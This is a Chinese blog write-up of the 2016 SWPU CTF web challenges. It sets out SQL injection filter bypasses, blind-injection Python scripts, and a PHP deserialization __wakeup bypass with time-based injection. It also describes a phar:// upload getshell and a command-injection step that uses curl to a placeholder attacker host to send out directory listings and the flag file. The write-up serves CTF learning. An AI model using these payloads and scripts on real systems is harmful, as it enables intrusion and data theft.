SWPU CTF Web

Posted by Xiaoxi on November 1, 2016

SWPU


Web1

题目信息:http://web1.08067.me/

解题思路

  1. admin admin登录密码错误,其他用户名测试时,整个都错。说明存在admin,且猜测用户名字段存在注入

  2. 在用burpsuite抓包的时候

    JHF1ZXJ5PSJTRUxFQ1QgKiBGUk9NIGFkbWluIFdIRVJFIHVuYW1lPSciLiR1bmFtZS4iJyI7aWYgKCRyb3dbJ3Bhc3N3ZCddPT09JHBhc3N3ZCl7JF9TRVNTSU9OWydmbGFnJ10gPSAxOw==
    ======>
    $query="SELECT * FROM admin WHERE uname='".$uname."'";
    if ($row['passwd']===$passwd){$_SESSION['flag'] = 1;
    
  3. fuzz以后,发现很多东西都被ban了,可用的只有() ‘ = select from where 以及一些不含关键词的mysql自带函数

  4. 比赛的时候就一直卡在这了,不知道接下来怎么弄。。。

  5. 比赛结束,看了别人的WP,发现一个新姿势,通过’-1’=’1’=’0’这种连等于来绕过

    对于

    select pass from admin where user='-1'='1'='0';
    where子句是一个真逻辑。(sql的=是左结合的,所以原式等价于(((user='-1')='1')='0')
    user='1'=》假
    假='1'=》假
    假='0'=》真
    

    所以,我们拼接:

    select pass from admin where user='test'='1'='0';(where子句为真)
    select pass from admin where user='test'='0'='0';(where子句为假)
    因此,我们有:
    select pass from admin where user='test'='(select 1 from admin where '1'='1')'='';
    这样,只要select 1 from admin where '1'='1'为真的时候,where子句就会为真
    而,我们在fuzz的时候可以发现,空格也被过滤了,因此这里我们使用()来替代空格
    最后的payload
    select pass from admin where user='test'='(select(1)from(admin)where('1')=('1'))'=''
    

    提交一个这样的包:

    uname=user'=('1')='0&passwd=admin
    可以看到,返回alert('password error!!@_@');parent.location.href='index.php';(user用户实际不存在) 说明sql正确执行了
    再提交
    uname=user'=(select(1)from(admin)where('1')=('1'))='0&passwd=admin
    返回:alert('password error!!@_@');parent.location.href='index.php';
    这样,我们就可以开始盲注了
    uname=user'=(select(1)from(admin)where(length(passwd))<50)='0&passwd=admin
    uname=user'=(select(1)from(admin)where(length(passwd))=32)='0&passwd=admin
    接下来,使用mid或者substr函数的时候,发现,被过滤。
    这里可以使用另外一个姿势来绕过(逗号绕过,在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。)
    select substr(database() from 1);
    select mid(database() from 1);
    这里的1代表返回第一位及其以后的字符串
    所以,最后构造的payload
    uname=user'=(select(1)from(admin)where(mid((passwd)from(32))>='0'))='&passwd=1
    然后,构造一个脚本注入即可。
    
    #拷贝自http://blog.l1n3.net/writeup/swpu_ctf_2016_writeup/ 
    import hackhttp
        
    hh = hackhttp.hackhttp()
    md5_str = '1234567890abcdef'
    flag = ""
    url = "http://web1.08067.me/login.php"
    for length in range(0,33):
        for i in md5_str:
            raw = '''POST /login.php HTTP/1.1
    Host: web1.08067.me
    Content-Length: 76
    Cache-Control: max-age=0
    Origin: http://web1.08067.me
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    DNT: 1
    Referer: http://web1.08067.me/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Cookie: PHPSESSID=h28ht7sld80jlsvcil0q5e2p90
        
    uname=uname'=(select(1)from(admin)where(mid((passwd)from(%d))='%s%s'))='&passwd=1''' % (32-length,i,flag)
            a,b,c,d,e = hh.http(url,raw=raw)
            if "password" in c:
                flag = i + flag
                print 32-length,flag
    

    得到c12366feb7373bf6d869ab7d581215cf,解码=》1234567mn

  6. 登录进去又是一个坑,一个命令执行的坑

    测试了一下还是过滤了bash,Python,PHP,perl,空格,但是留下了curl这个命令

    空格在Linux中可以用${IFS}替换

    接下来,我们就可以使用curl指令,让其到我们自己的主机上获取文件(获取木马文件),拿shell了。或者还有一个思路,就是通过我们server的log来查看信息,就是通过get请求。使用curl来获取信息

    curl http://xx.xx.xx.xx/`ls ../../|head -n 1|tail -n 1`
    在这个目录下可以看到flag
    然后,cat一下
    curl http://xx.xx.xx.xx/`cat ../../flag`
    就能得到flag
    
  7. 其他payload:

    uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd
    
    uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd
    
    uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd
    
    uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1
    
    __author__ = 'niexinming'  
    import urllib2  
    url="http://web1.08067.me/login.php"  
    data="abcdefghijklmnopqrstuvwxyz1234567890"  
    xx=""  
    flag=0  
    listdata=list(data)  
    for jj in range(0,33)[::-1]:  
        #print jj  
        for ii in listdata:  
            post_data="uname=admin'=(select(select(substring(passwd%a0from%a0"+str(jj)+"))from%a0admin%a0where%a0uname='admin')='"+ii+xx+"')='1'='1&passwd=2"  
            #print post_data  
            req = urllib2.urlopen(url, post_data).read()  
            if(req.find('password error')>-1):  
                flag=1  
                xx=ii+xx  
                print xx  
                break  
            else:  
                flag=0  
    


Web2(大礼包)

http://web2.08067.me/

根据首页提示,可以发现include.php页面存在文件包含漏洞,利用参数file,右键源码查看获tips:upload.php。上传加文件包含很容易想到getshell。

首先利用php://filter读取两个文件的源码,可以发现只能上传图片文件,并且file参数后强行加了php后缀,又过滤了..,所以不能跨目录,php版本为5.5,也不存在截断。而且这个环境并不支持zip协议,于是只有利用phar://协议getshell。

构造xxx.zip文件,里面加入我们的一句话文件并压缩,改名为图片后缀名上传,最后getshell.下面是一个测试,可以看到php执行成功了(test.php里面是<?php phpinfo();?>)

1

后面还有很多,可惜环境关了,不能复现了。。


Web3

.bak源码泄漏,robots.txt =》》》》可以得到function.php.bak index.php.bak整个题的源码。从源码中,可以知道是需要以cookie登录,同时有一个反序列化导致注入的问题。

改变序列化个数使反序列化时 不调用wakeup函数,这样就直接进入析构函数,但是这样就不会有sql回显,只能采用sleep时间盲注。接下来,有一个过滤函数,它会先把单引号包含的东西替换掉,然后进行恶意代码检测

select * from phpinfoadmin where username=moxiaoxi union select 1`'`,2,sleep(10)`'
=》》》》》
string(64) "select * from phpinfoadmin where username=$s$ union select 1`$s$"
那么,我们只要让我们的恶意代码让她替换的时候视为单引号里的字符串替换掉就可以了
select的子段位置可以使用 ``作为类似注释符的作用,所以构造
O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:40:"moxiaoxi' union select 1`'`,2,sleep(10)`";s:4:"pass";s:32:"cec70fd46e477b43085f881ae15cc173";}
测试可以了
这是延迟10秒的数据包
GET /wakeup/index.php HTTP/1.1
Host: web3.08067.me
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://web3.08067.me/wakeup/index.php
Cookie: user=Tzo1OiJsb2dpbiI6NDp7czozOiJ1aWQiO3M6MjoiMTMiO3M6NDoibmFtZSI7czo0MDoibW94aWFveGknIHVuaW9uIHNlbGVjdCAxYCdgLDIsc2xlZXAoMTApYCI7czo0OiJwYXNzIjtzOjMyOiJjZWM3MGZkNDZlNDc3YjQzMDg1Zjg4MWFlMTVjYzE3MyI7fQ==
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 3



对应的payload
O:5:"login":4:{s:3:"uid";s:2:"13";s:4:"name";s:40:"moxiaoxi' union select 1`'`,2,sleep(10)`";s:4:"pass";s:32:"cec70fd46e477b43085f881ae15cc173";}
python 脚本:
import base64
import requests
import datetime


s = requests.session()
flag = ''


#list1=[6,9,12,13,15,18,20,21]
#list2=[12,15,20]
for i in range(1,22):
	sqlstr = "' union select 1`'`,1, sleep(ord(substr(flag,"+str(i)+",1))-95) from flag`"
	test = '''O:5:"login":4:{s:3:"uid";s:2:"13";s:4:"name";s:'''+ str(len(sqlstr))+''':"''' + sqlstr + '''";s:4:"pass";s:32:"cec70fd46e477b43085f881ae15cc173";}'''
	payload = 'user=' + base64.b64encode(test)
	#print test


	starttime = datetime.datetime.now()
	header = {'Cookie':payload}
	result = s.post('http://web3.08067.me/wakeup/index.php', headers = header)
	endtime = datetime.datetime.now()
	a = (endtime - starttime).seconds
	if(a!=0):
		b = chr(a+95)
	else:
		b = '*'
	print b
	flag = flag+b


print flag
序列化个数大于实际个数的时候不会调用__wakeup函数,直接进入析构函数

https://bugs.php.net/bug.php?id=72663

http://www.tuicool.com/articles/aMfeEfJ

https://bugs.php.net/bug.php?id=72663

别人的盲注代码
import hackhttp
import time
def base64(s):
    import base64
    return base64.b64encode(s)
hh = hackhttp.hackhttp()
flag = ""
for i in range(1,40):
    for j in range(33,125):
        payload = "admin' and (select 1 from flag where ascii(mid(flag,%d,1))=%d) and (`'`.``.username=1 or sleep(3)) #"% (i,j)
        payload_len = len(payload)
        serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload)
        raw = '''GET /wakeup/index.php HTTP/1.1
Host: web3.08067.me
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: user=%s
 
''' % base64(serialize_str)
        url = "http://web3.08067.me/wakeup/index.php"
        start = time.time()
        a,b,c,d,e = hh.http(url,raw=raw)
        end = time.time()
        exec_time = end-start
        if exec_time > 3:
            flag += chr(j)
            print i,flag
            break
            
           
'''对应的payload
admin' and (select 1 from flag where ascii(mid(flag,1,1))=38) and (`'`.``.username=1 or sleep(3)) 
'''
__author__ = 'niexinming'
import base64
import urllib
import urllib2
import base64
import time
#ll=list("abcdefghijklmnopqrstuvwxyz1234567890")
#llascii=[]
#for jj in ll:
#    llascii.append(ord(jj))
for kk in range(1,32):
    print "di : "+str(kk)
    for i in range(32,127):
       start= time.time()
       url="http://web3.08067.me/wakeup/index.php"
       sql="select flag from flag"
       post_data="username=heheda&password=heheda&login="
       payload="admin'and ascii(substring((%s),%s,1))=%s and (select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2)=1 and '1'='1" % (sql,str(kk),str(i))
       xueliehua='''O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:%s:"%s";s:4:"pass";s:32:"6be530e78ade605347059701a54f996e";}
       ''' % (str(len(payload)),payload)
       #print xueliehua
       b64=base64.b64encode(xueliehua)
       urlencodedata=urllib.quote(b64)
       heads={}
       heads["Cookie"]="user="+urlencodedata
       #print urlencodedata
       req = r=urllib2.Request(url,data=post_data,headers=heads)
       resual= urllib2.urlopen(r)
       resual.read()
       end= time.time()
       #print str(end-start)+":",
       #print chr(i)
       if 20>(end-start)>8:
           print "this this:"+str(kk)+" : "+chr(i)
           break



参考

  1. Mysql操作符参考
  2. 官方WP
  3. LinE’s Wp推荐比官方的好
  4. http://blog.csdn.net/jlvsjp/article/details/52776377